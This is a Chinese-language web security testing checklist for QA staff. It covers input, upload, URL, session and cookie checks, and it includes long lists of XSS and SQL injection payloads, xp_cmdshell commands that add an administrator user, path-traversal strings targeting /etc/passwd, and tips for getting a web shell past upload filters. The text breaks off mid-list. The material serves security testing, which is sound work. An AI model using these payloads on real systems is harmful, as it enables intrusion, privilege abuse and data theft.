WEB 安全测试用例

建立整体的威胁模型，测试溢出漏洞、信息泄漏、错误处理、[**SQL**](http://www.ltesting.net/html/18/category-catid-418.html) 注入、身份验证和授权错误.

1. **1.   输入验证**

客户端验证 服务器端验证(禁用脚本调试，禁用Cookies)

1.输入很大的数（如4,294,967,269），输入很小的数(负数)

2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应

3.输入特殊字符,如:~!@#$%^&\*()\_+<>:”{}|

4.输入中英文空格，输入字符串中间含空格，输入首尾空格

5.输入特殊字符串NULL,null，0x0d 0x0a

6.输入正常字符串

7.输入与要求不同类型的字符，如: 要求输入数字则检查正值,负值,零值（正零，负零）,小数,字母,空值; 要求输入字母则检查输入数字

8.输入html和javascript代码

9.对于像回答数这样需检验数字正确性的测试点，不仅对比其与问题最终页的回答数，还要对回答进行添加删除等操作后查看变化

例如：

1.输入<html”>”gfhd</html>,看是否出错；

2.输入<input type=”text” name=”user”/>,看是否出现文本框；

3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。

关于上传：

1.上传文件是否有格式限制,是否可以上传exe文件；

2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误；

3.通过修改扩展名的方式是否可以绕过格式限制，是否可以通过压包方式绕过格式限制；

4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。

5.上传文件大小大于本地剩余空间大小，是否会出现异常错误。

6.关于上传是否成功的判断。上传过程中，中断。程序是否判断上传是否成功。

7.对于文件名中带有中文字符，特殊字符等的文件上传。

上传漏洞拿shell：

8.直接上传asp.asa.jsp.cer.php.aspx.htr.cdx….之类的马，拿到shell.  
9.就是在上传时在后缀后面加空格或者加几点，也许也会有惊奇的发现。例：\*.asp ,\*.asp..。  
10.利用双重扩展名上传例如：\*.jpg.asa格式(也可以配上第二点一起利用)。  
11.gif文件头欺骗  
12.同名重复上传也很OK。：

下载：

1. 避免输入：\..\web.
2. 修改命名后缀。

关于URL：

1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入；

2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面；

3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。

4.输入善意字符。

UBB:

[url=http://www.\*\*\*\*.com] 你的网站[/url]

1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.

2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用

3.输入编辑器中不存在的UBB代码,看是否起作用

[url=javascript:alert('hello')]链接[/url]

[email=javascript:alert('hello')]EMail[/email]

[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]

[img]http://www.13fun.cn/2007713015578593\_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]

[img]http://www.13fun.cn/photo/2007-7/2007713015578593\_03.jpg "onmouseover=alert('hello');"[/img]

[b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]

[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]

[u]一二三四五六七北京市[/u]

[font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[list=1]

[\*]一二三四五六七北京市[/list]

[indent]一二三四五六七北京市[/indent]

[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

1. **2.   输出编码**

常用的测试输入语句有：

<input type="text"/>

<input/>

<input/

<script>alert('hello');</script>

1.jpg" onmouseover="alert('xss')

"></a><script>alert(‘xss’);</script>

http://xxx';alert('xss');var/ a='a

‘”>xss&<

a=”\” ; b=”;alert(/xss/);//”

<img src=“输出内容” border=“0” alt=“logo” />

“’”

‘”’

“””

“ “ “

“”“

“‘ ”

title=””

对输出数据到输出数据的对比，看是否出现问题。

1. **3.   防止SQL注入**

Admin--

‘or ­­­--­­

‘  and  (   )   exec   insert   \*   %   chr   mid

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49)  ;  %20AND%201=2

‘and 1=1    ;  ‘And  1=1   ;   ‘aNd   1=1   ;

and 1=2    ;   ‘and 1=2

and 2=2

and user>0

and (select count(\*) from sysobjects)>0

and (select count(\*) from msysobjects)>0

and (Select Count(\*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp\_cmdshell “net user name password /add”—

;exec master..xp\_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(\*) from admin)

简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。

1. **4.   跨站脚本攻击（XSS）**

对于 XSS，只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗？是否在 IFRAME 标记中？它在 CLSID 标记中吗？在 IMG SRC 中吗？某些 Flash 内容的 PARAM NAME 是怎样的？

★[~!@#$%^&\*()\_+<>,./?;'"[]{}\-](mailto:~!@#$%^&*()_+<>,./?;%27%22[]{}\-)

★%3Cinput /%3E

★%3Cscript%3Ealert('XSS')%3C/script%3E

★<input type="text"/>

★<input/>

★<input/

★<script>alert('xss')</script>

★<script>alert('xss');</script>

★</script><script>alert(‘xss’)</script>

★javascript:alert(/xss/)

★javascrip&#116&#58alert(/xss/)

★<img src="#" onerror=alert(/xss/)>

★<img src="#" style="Xss:expression(alert(/xss/));">

★<img src="#"/\*\*/onerror=alert(/xss/) width=100>

★=’><script>alert(document.cookie)</script>

★1.jpg" onmouseover="alert('xss')

★"></a><script>alert(‘xss’);</script>

★http://xxx';alert('xss');var/ a='a

★’”>xss&<

★"onmouseover=alert('hello');"

★&{alert('hello');}

  ★>"'><script>alert(‘XSS')</script>

  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>

★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>

  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22

  ★%22%2Balert(%27XSS%27)%2B%22

  ★<table background="javascript:alert(([code])"></table>

  ★<object type=text/html data="javascript:alert(([code]);"></object>

  ★<body onload="javascript:alert(([code])"></body>

  ★a?<script>alert(’Vulnerable’)</script>

★<!--'">&:

var from = ‘$!rundata.Parameters.getString(’from’)';

　　var from = ”;hackerFunction(document.cookie);”;

http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX

1. **5.   跨站请求伪造（CSRF）**

同个浏览器打开两个页面，一个页面权限失效后，另一个页面是否可操作成功。

当页面没有CHECKCODE时，查看页面源代码，查是是否有token。如果页面完全是展示页面，是不会有token的。

**一、      用户注册**

只从用户名和密码角度写了几个要考虑的测试点，如果需求中明确规定了安全问题，Email，出生日期，地址，性别等等一系列的格式和字符要求，那就都要写用例测了~

以等价类划分和边界值法来分析

1.填写符合要求的数据注册： 用户名字和密码都为最大长度（边界值分析，取上点）

2.填写符合要求的数据注册 ：用户名字和密码都为最小长度（边界值分析，取上点）

3.填写符合要求的数据注册：用户名字和密码都是非最大和最小长度的数据（边界值分析，取内点）

4.必填项分别为空注册

5.用户名长度大于要求注册1位（边界值分析，取离点）

6.用户名长度小于要求注册1位（边界值分析，取离点）

7.密码长度大于要求注册1位（边界值分析，取离点）

8.密码长度小于要求注册1位（边界值分析，取离点）

9.用户名是不符合要求的字符注册（这个可以划分几个无效的等价类，一般写一两个就行了，如含有空格，#等，看需求是否允许吧~）

10.密码是不符合要求的字符注册（这个可以划分几个无效的等价类，一般写一两个就行了）

11.两次输入密码不一致（如果注册时候要输入两次密码，那么这个是必须的）

12.重新注册存在的用户

13.改变存在的用户的用户名和密码的大小写，来注册。（有的需求是区分大小写，有的不区分）

14.看是否支持tap和enter键等；密码是否可以复制粘贴；密码是否以\* 之类的加秘符号显示

备注：边界值的上点、内点和离点大家应该都知道吧，呵呵，这里我就不细说了~~

**二、      修改密码**

当然具体情况具体分析哈~不能一概而论~

实际测试中可能只用到其中几条而已，比如银行卡密码的修改，就不用考虑英文和非法字符，更不用考虑那些ＴＡＰ之类的快捷键。而有的需要根据需求具体分析了，比如连续出错多少次出现的提示，和一些软件修改密码要求一定时间内有一定的修改次数限制等等。

1.不输入旧密码，直接改密码

2.输入错误旧密码

3.不输入确认新密码

4.不输入新密码

5.新密码和确认新密码不一致

6.新密码中有空格

7.新密码为空

8.新密码为符合要求的最多字符

9.新密码为符合要求的最少字符

10.新密码为符合要求的非最多和最少字符

11.新密码为最多字符-1

12.新密码为最少字符+1

13.新密码为最多字符+1

14.新密码为最少字符-1

15.新密码为非允许字符（如有的密码要求必须是英文和数字组成，那么要试汉字和符号等）

16.看是否支持tap和enter键等；密码是否可以复制粘贴；密码是否以\* 之类的加秘符号

17.看密码是否区分大小写，新密码中英文小写，确认密码中英文大写

18.新密码与旧密码一样能否修改成功

另外一些其他的想法如下：

1 要测试所有规约中约定可以输入的特殊字符，字母，和数字，要求都可以正常输入、显示正常和添加成功

2 关注规约中的各种限制，比如长度，大否支持大小写。

3 考虑各种特殊情况，比如添加同名用户，系统是否正确校验给出提示信息，管理员帐户是否可以删除，因为有些系统管理员拥有最大权限，一旦删除管理员帐户，就不能在前台添加，这给最终用户会带来很多麻烦。比较特殊的是，当用户名中包括了特殊字符，那么对这类用户名的添加同名，修改，删除，系统是否能够正确实现，我就遇到了一个系统，添加同名用户时，如果以前的用户名没有特殊字符，系统可以给出提示信息，如果以前的用户名包含特殊字符，就不校验在插入数据库的时候报错。后来查到原因了，原来是在java中拼SQL语句的时候，因为有"\_"，所以就调用了一个方法在“\_”，前面加了一个转义字符，后来发现不该调用这个方法。所以去掉就好了。所以对待输入框中的特殊字符要多关注。

4 数值上的长度 之类的，包括出错信息是否合理

5 特殊字符：比如。 / ' " \ </html> 这些是否会造成系统崩溃

6 注入式bug：比如密码输入个or 1=1

7 登录后是否会用明文传递参数

8 访问控制（不知道这个算不算）：登录后保存里面的链接，关了浏览器直接复制链接看能不能访问。

**输入框测试**

　　1．验证输入与输出的是否信息一致；

　　2．输入框之前的标题是否正确；

　　3．对特殊字符的处理，尤其是输入信息徐需要发送到数据库的。特殊字符包括：'（单引号）、"（双引号）、[]（中括号）、()（小括号）、{}（大括号）、;（分号）、<>（大于小于号）……

　　4．对输入框输入超过限制的字符的处理，一般非特殊的没有作出限制的在255byte左右；

　　5．输入框本身的大小、长度；

　　6．不同内码的字符的输入；

　　7．对空格、TAB字符的处理机制；

　　8．字符本身显示的颜色；

　　9．密码输入窗口转换成星号或其它符号；

　　10．密码输入框对其中的信息进行加密，防止采用破解星号的方法破解；

　　11．按下ctrl和alt键对输入框的影响；

　　12．对于新增、修改、注册时用的输入框，有限制的，应该输入时作出提示，指出不允许的或者标出允许的；

　　13．对于有约束条件要求的输入框应当在条件满足时输入框的状态发生相应的改变，比如选了湖南就应该列出湖南下面的市，或者选了某些条件之后，一些输入框会关闭或转为只读状态；

　　14．输入类型；根据前面的栏位标题判断该输入框应该输入哪些内容算是合理的。例如，是否允许输入数字或字母，不允许输入其他字符等。

　　15.输入长度；数据库字段有长度定义，当输入过长时，提交数据是否会出错。

　　16.输入状态；当处于某种状态下，输入框是否处于可写或非可写状态。例如，系统自动给予的编号等栏位作为唯一标识，当再次处于编辑状态下，输入框栏位应处于不可写状态，如果可写对其编辑的话，可能会造成数据重复引起冲突等。

　　17．如果是会进行数据库操作的输入框，还可以考虑输入SQL中的一些特殊符号如单引号等,有时会有意想不到的错误出现

　　18．输入类型  
输入长度  
是否允许复制粘贴  
为空的情况  
空格的考虑  
半角全角测试  
对于密码输入框要考虑显示的内容是\*  输入错误时的提示信息及提示信息是否准确

　　19．可以先了解你要测试的输入框在软件系统的某个功能中所扮演的角色，然后了解其具体的输入条件，在将输入条件按照有效等价类，无效等价类，边界值等方法进行测试用例的设计。

　　20．关键字有大小写混合的情况；

　　21．关键字中含有一个或多个空格的情况，包括前空格，中间空格（多个关键字），和后空格；

　　22．关键字中是否支持通配符的情况（视功能而定）；

　　23．关键字的长度分别为9、10、11个字符时的情况；

　　24．关键字是valid，但是没有匹配搜索结果的情况；

　　25．输入html的标签会出现哪些问题？输入<html> 会出现什么问题呢？(这条是我自己发现的，在网上也没找到类似的东东，呵呵，大家凑合着看吧)

　　安全测试方面：

　　给出一些特别的关键字，比如 or 1=1, 这样的关键字如果不被处理就直接用到数据库查询中去，后果可想而知。

**用户体验相关**

我登录失败的时候没有任何提示，这没什么，反正提示也只是说失败…

进去后发现颜色变更很强烈刺得我一眨眼，不过多看几次就习惯了。

点击某个链接的时候出现错误页面，刷新后就好了，难道是随机错误？

保存文字的时候没有成功提示，不过能成功保存就算了。

浏览记录的时候竟然出现错误页面，原来我没有选记录就浏览了，我自己操作不规范嘛。

删除记录的时候发现选错了，想取消的时候却提示删除成功，都没有确认提示，只能下次看仔细点了。

查询时字母键被茶杯压住了多输了点字符，竟然出现错误页面，下次把东西整理好。

无聊随便点点几个链接，竟然没有反应，既然不用，那就不要做出来嘛。

看看自己上传的图片效果如何，这个怎么不显示？多试几次发现名字不包含中文就好了，下次注意下。

改改字体字号颜色美化环境嘛，怎么格式那里不显示正确的字体字号呢，将就用吧。

这里的记录条数怎么这么多啊？原来是没有删除按钮，看来下次不能随便加了。

这个结束时间怎么在开始时间前啊？原来没有进行控制，下面的人执行时……还是自己改过来吧。

上次我在这里看见的图片呢？刷新后就出来了，怎么和我玩捉迷藏呢？

多输了点内容，保存时候提示太多了，点确定后发现被清空了，我一个小时的工作啊！

这张图片真不错，但是按钮呢，按钮呢？按钮被挤掉了我怎么编辑啊。

听说F5是刷新点一下看看。怎么好像变成了登录界面？

刚学了怎么用TAB键，确实很方便。TAB一下。跑哪去了，怎么一片空白啊？？？

玩游戏的人点击速度那么快，我也来试试。怎么一双击就出错了？

我找错别字是很厉害的，这不就发现“同意”写成了“统一”。

这里提示只能输入1－100，我偏要输入9999……保存看看，怎么系统不能用了？

这里一点击就出现IE错误，硬是不弹出我需要的窗口。

这个查询按钮怎么灰掉了？这么多记录让我一页一页翻过去找啊。

上传第二个附件的时候怎么把第一个挤掉了啊，会挤掉也要提示一下嘛。

一个页面上打开的记录太多了，变体都用…省略了，要是鼠标放上去浮动显示完整标题就方便多了。

这几条记录有依存关系，删了一条其他就没了，提示都没有，早知道我就用编辑了……

这条记录怎么好像是昨天的，我记得今天更新了啊？原来编辑后的记录没有传到引用的地方。

最最奇怪的是昨天上传时候正常的图片今天就不能显示了。我记得没有只能显示一天的功能啊？？？

这里怎么没有任何按钮呢，看手册才知道竟然要用右键进行操作，怎么突然冒出个异类啊？？？

这里怎么能增加两条相同的记录呢？不控制一下天知道手下那些愣头青会做出什么来。

这里的菜单一层一层又一层，足足有五层，把我头都绕晕了……我记得哪里说过最好不要超过三层的。

这个界面看起来怎么这么别扭啊，是字体太大了，是按钮太小了，还是功能太多了，……

怎么不是管理员登录进来也能管理啊，那我这个管理员的身份不是多此一举吗？

删除的时候提示Error，幸亏我英语水平好，可是你换成中文不行吗？

这条记录不是删除了吗，怎么还能引用啊，到时候出错了怎么办，难道还要我记住删了那些记录？

经过精心编辑，我发了一条通知，怎么用普通用户查看的时候是默认的字体字号啊？？？

这几个页面上的当前日期怎么是固定不变的啊，这都是去年的日期了，不会是开发时候的吧。

一、工具扫描  
目前web安全扫描器针对 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的检测技术已经比较成熟。  
商业软件web安全扫描器：有IBM Rational Appscan、WebInspect、Acunetix WVS  
免费的扫描器：W3af 、Skipfish 等等  
可以考虑购买商业扫描软件，也可以使用免费的，各有各的好处。  
首先可以对网站进行大规模的扫描操作，工具扫描确认没有漏洞或者漏洞已经修复后，再进行以下手工检测。  
  
二、手工检测  
1. 目录遍历  
目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之类的目录跳转符, 导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。  
测试方法：在URL中输入一定数量的“../”和“./”，验证系统是否ESCAPE掉了这些目录跳转符。  
  
2. 登陆  
(1) 是否正确登陆  
(2) 密码复杂度  
(3) ...  
  
3. 用户权限  
(1) 用户权限控制  
1) 用户权限控制主要是对一些有权限控制的功能进行验证   
2) 用户A才能进行的操作，B是否能够进行操作（可通过窜session，将在下面介绍） 3）只能有A条件的用户才能查看的页面，是否B能够查看（可直接敲URL访问）  
(2) 页面权限控制  
1） 必须有登陆权限的页面，是否能够在不登陆情况下进行访问   
2）必须经过A——B——C的页面，是否能够直接由A——C?  
(3) ...  
  
4. Cookie安全  
(1) 屏蔽或删除所有Cookie  
(2) 有选择性地屏蔽Cookie  
(3) 篡改Cookie  
(4) Cookie加密测试  
(5) Cookie安全内容检查  
1) Cookie过期日期设置的合理性：检查是否把Cookie的过期日期设置得过长。  
2) HttpOnly属性的设置：把Cookie的HttpOnly属性设置为True有助于缓解跨站点脚本威胁，防止Cookie被窃取。?  
3) Secure属性的设置：把Cookie的Secure属性设置为True，在传输Cookie时使用SSL连接，能保护数据在传输过程中不被篡改。 对于这些设置，可以利用Cookie?Editor来查看是否正确地被设置。  
(6) ...

5. Session安全  
(1) Session是客户端与服务器端建立的会话，总是放在服务器上的，服务器会为每次会话建立一个sessionId，每个客户会跟一个sessionID 对应。 并不是关闭浏览器就结束了本次会话，通常是用户执行“退出”操作或者会话超时时才会结束。   
(2) 测试关注点：  
1) Session互窜   
Session互窜即是用户A的操作被用户B执行了。 验证Session互窜，其原理还是基于权限控制，如某笔订单只能是A进行操作，或者只能是A才能看到的页面，但是B的session窜进来却能够获得A的订单详情等。   
Session互窜方法： 多TAB浏览器，在两个TAB页中都保留的是用户A的session记录，然后在其中一个TAB页执行退出操作，登陆用户B, 此时两个TAB页都是B的session，然后在另一个A的页面执行操作，查看是否能成功。 预期结果：有权限控制的操作，B不能执行A页面的操作，应该报错，没有权限控制的操作，B执行了A页面 操作后，数据记录是B的而不是A的。   
2) Session超时   
基于Session原理，需要验证系统session是否有超时机制，还需要验证session超时后功能是否还能继续走下去。   
测试方法： 1、打开一个页面，等着10分钟session超时时间到了，然后对页面进行操作，查看效果。 2、多TAB浏览器，在两个TAB页中都保留的是用户A的session记录，然后在其中一个TAB页执行退出操作，马上在另外一个页面进行要验证的操作，查看是能继续到下一步还是到登录页面。  
3) ...  
  
6. URL安全  
(1) URL参数检查  
A: 对URL中参数信息检查是否正确 如：URL中的订单号、金额允许显示出来的话，需要验证其是否正确   
B: 对于一些重要的参数信息，不应该在URL中显示出来 如：用户登陆时登录名、密码是否被显示出来了.  
(2) URL参数值篡改  
修改URL中的数据，看程序是否能识别： 如：对于以下URL，修改其中planId，看是程序是否可以识别： http://pay.daily.taobao.net/mysub/plan/subplan/confirmSubPlanInfo.htm?planId=878 又如：对于URL中包含金额参数的，修改金额看是否能够提交成功（可能导致用户把2元金额改成1元金额能提交），还有修改订单号等重要信息看是否会报错   
(3) URL中参数进行XSS注入  
什么是XSS？ XSS的全称是Cross Site Script（跨站点脚本） XSS的原理很简单，即进行脚本注入，URL执行时即把此脚本进行了执行，一般都是JavaScript脚本，如<script>alter(“abc”)<script> 在URL中进行XSS注入，也就是把URL中的参数改成JS脚本。  
(4) URL参数中进行SQL 注入  
什么是SQL注入？ SQL注入全称是SQL Injection ，当应用程序使用输入内容来构造动态sql语句以访问数据库时，会发生sql注入攻击，如查询、插入数据时。   
测试方法： URL中写入SQL注入语句，看是否被执行，如：’or 1=1;shutdown  
一般情况下要进行SQL注入攻击，需要对数据库类型、表名、判断逻辑、查询语句等比较清楚才能够写出有效的SQL注入语句。  
(5) ...  
  
7. 表单提交安全  
(1) 表单中注入XSS脚本  
测试方法：即在表单填写框中直接注入JS脚本 如在表单中输入XSS脚本，程序是不应该让脚本执行的。  
(2) 表单中注入SQL 脚本  
(3) ...  
  
8. 上传文件安全  
分析：上传文件最好要有格式的限制；上传文件还要有大小的限制。  
  
9. Email Header Injection(邮件标头注入)   
Email Header Injection：如果表单用于发送email, 表单中可能包括“subject”输入项（邮件标题）， 我们要验证subject中应能escape掉“\n”标识。  
<!--[if !supportLists]--><!--[endif]-->因为“\n”是新行，如果在subject中输入“hello\ncc:spamvictim@example.com”，可能会形成以下  
Subject: hello  
cc: spamvictim@example.com  
<!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的subject，那他可能会给利用这个缺陷通过我们的平台给其它用 户发送垃圾邮件。

10. 不恰当的异常处理  
分析：程序在抛出异常的时候给出了比较详细的内部错误信息，暴露了不应该显示的执行细节，网站存在潜在漏洞；  
  
11. ...

**WEB的**[**安全性测试**](file:///C:\Users\Administrator\Desktop\%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7\web\%E5%A6%82%E4%BD%95%E8%BF%9B%E8%A1%8CWEB%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95.doc)**主要从以下方面考虑：**

**1.SQL Injection(**[**SQL**](file:///C:\Users\Administrator\Desktop\%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7\web\%E5%A6%82%E4%BD%95%E8%BF%9B%E8%A1%8CWEB%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95.doc)**注入)**

  (1)如何进行SQL注入测试?

* 首先找到带有参数传递的URL页面,如 搜索页面,登录页面,提交评论页面等等.

注1:对 于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM> 和</FORM>的标签中间的每一个参数传递都有可能被利用.

|  |
| --- |
| <form id="form\_search" action="/search/" method="get">  <div>  <input type="text" name="q" id="search\_q" value="" />  <input name="search" type="image" src="/media/images/site/search\_btn.gif" />  <a href="/search/" class="fl">Gamefinder</a>  </div>  </form> |

注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10

* 其 次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1--

|  |
| --- |
| 注1：根据实际情况,SQL注入请求可以使用以下语句:  ' or 1=1- -  " or 1=1- -  or 1=1- -  ' or 'a'='a  " or "a"="a  ') or ('a'='a     注2：为什么是OR， 以及',――是特殊的字符呢？  例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select \* from user where username='username' and pwd='password'  如 输入[http://duck/index.asp?username=**admin' or 1='1**&pwd=**11**](http://www.cnblogs.com/http:)，SQL语句会变成以下：sql=select \* from user where username='**admin' or 1='1**' and password='**11**'  ' 与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行.  接 下来是OR查询条件,OR是一个逻辑运 算符，在判断多个条件的时候，只要一个成立，则等式就成立，后面的AND就不再时行判断了，也就是 说我们绕过了密码验证，我们只用用户名就可以登录.  如 输入[http://duck/index.asp?username=**admin'--**&pwd=**11**](http://www.cnblogs.com/http:)，SQL语 句会变成以下sql=select \* from user where name='**admin' --**' and pasword='**1**1',   '与admin前面的'组成了一个查 询条件,即username='admin',接下来的语句将按下一个查询条件来执行  接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验证(注:对ACCESS[**数据库**](file:///C:\Users\Administrator\Desktop\%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7\web\%E5%A6%82%E4%BD%95%E8%BF%9B%E8%A1%8CWEB%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95.doc)无 效). |

* 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如果 能说明存在SQL安 全漏洞.
* 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的.

  (2)如何预防SQL注入?  
  
  从应用程序的角度来讲,我们要做以下三项[**工作**](file:///C:\Users\Administrator\Desktop\%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7\web\%E5%A6%82%E4%BD%95%E8%BF%9B%E8%A1%8CWEB%E5%AE%89%E5%85%A8%E6%80%A7%E6%B5%8B%E8%AF%95.doc):

* 转义敏感字符及字符串(SQL的敏感字符包括“exec”,”xp\_”,”sp\_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-\*/()|”,和”空格”).
* 屏蔽出错信息：阻止攻击者知道攻击的结果
* 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关键性的处理操作.

   从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:

* 需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符)
* 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.

   当然在执行测试的过程中,我们也需求对上述两项内容进行测试.

**2.Cross-site scritping(XSS):(跨站点脚本攻击)**

  (1)如何进行XSS测试?

* <!--[if !supportLists]-->首先,找到带有参数传递的URL,如 登录页面,搜索页面,提交评论,发表留言 页面等等。
* <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试：

|  |
| --- |
| <scrīpt>alert(document.cookie)</scrīpt> |

      注:其它的XSS测试语句

|  |
| --- |
| ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt <scrīpt>alert('Vulnerable')</scrīpt> ?sql\_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp\_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION\_ID={SESSION\_ID}&SESSION\_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG 